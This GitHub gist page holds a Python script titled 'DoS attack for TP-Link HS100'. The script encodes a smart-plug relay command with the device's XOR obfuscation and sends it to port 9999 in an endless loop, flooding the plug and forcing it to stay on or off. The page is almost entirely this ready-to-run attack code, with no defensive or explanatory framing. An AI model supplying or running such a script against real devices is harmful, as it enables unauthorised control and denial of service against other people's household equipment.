Last active
January 25, 2019 17:13
-
-
Save EliseZeroTwo/cb72c374c58136ff9d7a0f1a07087a52 to your computer and use it in GitHub Desktop.
DoS attack for TP-Link HS100
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#config | |
devicecfg = {"ip": "192.168.1.101", "port": 9999} | |
import socket | |
from struct import pack | |
state = False #true for turning on, false for turning off | |
on = "{\"system\":{\"set_relay_state\":{\"state\":1}}}" | |
off = "{\"system\":{\"set_relay_state\":{\"state\":0}}}" | |
running = True | |
while running: | |
key = 171 | |
cmd = 0 | |
if state: | |
cmd = on | |
else: | |
cmd = off | |
payload = pack(">I", len(cmd)) | |
try: | |
for x in cmd: | |
encb = key ^ ord(x) | |
key = encb | |
payload += chr(encb) | |
device = socket.socket() | |
device.connect((devicecfg["ip"], devicecfg["port"])) | |
device.send(payload) | |
device.close() | |
except: | |
print "oops" | |
running = False |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment